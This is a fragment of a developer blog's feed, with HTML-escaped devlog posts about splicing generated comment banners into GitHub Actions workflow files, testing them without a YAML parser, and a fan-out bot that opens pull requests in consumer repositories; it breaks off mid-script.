&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  generator: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;brand-tools 0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;writeFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ci.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(workflow, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;mast&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;yaml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;spliced&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Against an ordinary workflow, &lt;code&gt;node build.mjs&lt;/code&gt; produces:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# &gt;&gt;&gt; brand:mast v0.8.0 GENERATED, do not edit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# ══════════════════════════════════════════════════════════════════════════&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# C I                                                            brand-tools&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# ──────────────────────────────────────────────────────────────────────────&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Lint, test and build every pull request.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# generated by brand-tools 0.8.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# &amp;#x3C;&amp;#x3C;&amp;#x3C; brand:mast&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: ci&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  pull_request:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  test:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - uses: actions/checkout@v7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - run: npm test&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Verify it without a YAML parser&lt;/h2&gt;
&lt;p&gt;The obvious test is to parse the spliced file and assert it still loads. Resist it. Reaching for a YAML library makes the test depend on a runtime that has that library installed, and it asserts something weaker than what you actually need, which is that the document is &lt;em&gt;identical&lt;/em&gt;, not merely still valid.&lt;/p&gt;
&lt;p&gt;Assert the stronger, dependency-free property: strip every comment line and you get the original bytes back.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// verify.mjs — the region must be invisible to any YAML parser.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ghaHeader } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./header.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { spliceRegion } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./region.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; original &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ci.original.yml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; ghaHeader&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  title: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ci&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  purpose: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;Lint, test and build every pull request.&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  byline: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;brand-tools&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  generator: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;brand-tools 0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; spliced &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; spliceRegion&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(original, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;mast&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;yaml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, body, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;0.8.0&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Parser-free property: strip every comment line and you are back where you&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// started, byte for byte. No YAML library, so it runs the same everywhere.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; stripComments&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  s.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((l) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/^\s*#/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(l)).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stripComments&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spliced), original, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the region changed the document&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;match&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(spliced,&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^# &gt;&gt;&gt; brand:mast/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;the region is missing&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ok: region present, document unchanged for a parser&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`stripped length ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stripComments&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;spliced&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} === original ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;original&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki is-cmdbar vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; verify.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ok: region present, document unchanged for a parser&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;stripped length 137 === original 137&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second assertion is the half people forget. Without it, a splicer that silently emits nothing passes the first assertion perfectly, because a document with no region added is trivially unchanged.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A YAML parser is a poor oracle for workflow files anyway.&lt;/strong&gt; Loading the spliced workflow with PyYAML in this same scratch directory returns the keys &lt;code&gt;[&apos;name&apos;, True, &apos;jobs&apos;]&lt;/code&gt;. The &lt;code&gt;on:&lt;/code&gt; key came back as the boolean &lt;code&gt;True&lt;/code&gt;, because YAML 1.1 treats &lt;code&gt;on&lt;/code&gt; as a boolean literal and PyYAML implements 1.1. Symptom: your test asserts on a key name that does not survive the round trip. Escape: assert on the bytes, not on the parse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A generator that comments only the markers will happily emit unparseable output.&lt;/strong&gt; The convention “the emitter returns code, the renderer adds comments” is right for every language where the block is content, and wrong for the one case where the block is decoration. Symptom: a &lt;code&gt;ParserError&lt;/code&gt; pointing at the first line &lt;em&gt;after&lt;/em&gt; your block. Escape: make the decorative emitter comment its own body, and say so in its docstring, because the asymmetry looks like a bug to the next reader.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do not put a verification claim in the banner.&lt;/strong&gt; A generated header reading &lt;code&gt;actionlint ✓&lt;/code&gt; is a statement about the file below the region, and the region’s hash covers only the region. Anyone hand-editing the workflow underneath invalidates the claim with no way for the generator to notice. Symptom: a file that advertises a guarantee nobody is checking. Escape: keep claims about a run in the run’s output, where they expire naturally, and keep the header to facts about itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Width and alignment need a guard.&lt;/strong&gt; A &lt;code&gt;width&lt;/code&gt; that arrives as a string produces &lt;code&gt;&apos;═&apos;.repeat(&amp;quot;74&amp;quot;)&lt;/code&gt;, which coerces and looks fine, and a width below the byline length silently produces a negative pad. Escape: validate the input, as &lt;code&gt;ghaHeader&lt;/code&gt; does with its integer and minimum check, and be aware that a linter such as &lt;a href=&quot;https://github.com/rhysd/actionlint/blob/main/docs/checks.md&quot;&gt;actionlint&lt;/a&gt; will not save you here; it validates workflow semantics like &lt;code&gt;uses:&lt;/code&gt; format, expression syntax and permissions, not your comment geometry.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Splicing into a file with no region appends at the top.&lt;/strong&gt; That is the right default for a masthead and the wrong one for almost anything else. Symptom: a generated block landing at the top of a file where it needed to be at the bottom, or vice versa. Escape: make first-time insertion explicit, with an anchor the target declares, rather than inheriting whatever the splicer happens to do.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://yaml.org/spec/1.2.2/&quot;&gt;YAML 1.2.2 specification&lt;/a&gt; — comments are a presentation detail with no effect on the representation graph.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/workflow-syntax&quot;&gt;Workflow syntax for GitHub Actions&lt;/a&gt; — workflow files are YAML in &lt;code&gt;.github/workflows&lt;/code&gt; with a &lt;code&gt;.yml&lt;/code&gt; or &lt;code&gt;.yaml&lt;/code&gt; extension.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rhysd/actionlint/blob/main/docs/checks.md&quot;&gt;actionlint checks&lt;/a&gt; — what a workflow linter does and does not cover.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat: forge — GitHub Actions workflows that are verified, not hoped for (#140) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/1bb13dcadabbc2231a6007b386a48c17fdb12f04&quot;&gt;1bb13dc&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.8.0.png" length="35144" type="image/png"/></item><item><title>The pull request your bot opened last release can no longer pass</title><link>https://natejswenson.com/devlog/press/v0.7.2/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.7.2/</guid><description>A fan-out bot that opens a pull request per release, and never closes the last one, does not merely leave clutter. The older pull requests fail their own checks by construction, and a bot with permanently red pull requests teaches everyone to ignore it.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.7.2 taught a fan-out job to close its own predecessors. Every release opened a fresh pull request in each consumer repository, and closed nothing, so a repository that had not merged for two releases collected four of them. Three of the four consumers ended up in that state across a single pair of releases.&lt;/p&gt;
&lt;p&gt;The clutter is the visible half. The half that matters is that the older pull requests could not pass. Each one pins the release that opened it, and a newer release declares targets that release did not know about, so the older pull request’s check fails against a definition of “correct” that did not exist when it was created. The bot was manufacturing red checks in other people’s repositories.&lt;/p&gt;
&lt;p&gt;This guide builds the fan-out branch naming, shows why the stale pull request fails rather than just sits there, and adds the twelve lines that retire it.&lt;/p&gt;
&lt;h2&gt;Setup: one pull request per consumer, per base branch&lt;/h2&gt;
&lt;p&gt;A fan-out that pushes generated content into several repositories needs branch names that cannot collide. Version and base branch both belong in the name, because the same release may land on more than one long-lived branch:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -euo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;open_fanout_pr&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; repo&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; work&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$4&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/brand-v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}-${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; commit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -qam&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;chore: adopt brand v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  git&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -C&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; push&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -q&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; origin&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; create&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --head&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span 